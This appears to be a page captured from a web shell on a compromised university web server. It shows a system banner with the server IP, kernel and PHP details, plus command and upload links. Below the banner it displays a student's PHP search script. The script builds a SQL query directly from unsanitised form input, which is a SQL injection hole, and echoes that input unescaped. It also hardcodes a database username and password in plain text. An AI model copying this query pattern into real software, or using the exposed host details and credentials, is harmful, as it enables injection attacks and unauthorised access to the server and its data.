|
Server IP : 172.16.15.8 / Your IP : 3.144.25.248 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/mekerns/www/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!-- showSearchM.php
Goal: Print table of messages with searched athlete.
-->
<?php session_start();
$aName=$_POST['aName'];
print "$aName";
$host='localhost';
$user='mekerns';
$passwd='CS389';
$database='mekerns';
$connect=mysql_connect($host, $user, $passwd);
$query="select * from MESSAGE where NAME='$aName'";
//print "The query is <i> $query </i>";
mysql_select_db($database);
$result_id=mysql_query($query,$connect);
if($result_id)
{
print '<table border=1>';
print '<TH> NAME <TH> SCHOOL <TH> MESSAGE';
while($row=mysql_fetch_row($result_id))
{
print '<TR>';
foreach($row as $field)
print "<TD> $field </TD>";
print '</TR>';
}
}
else
print "Fail. <P>";
mysql_close($connect);
}
?>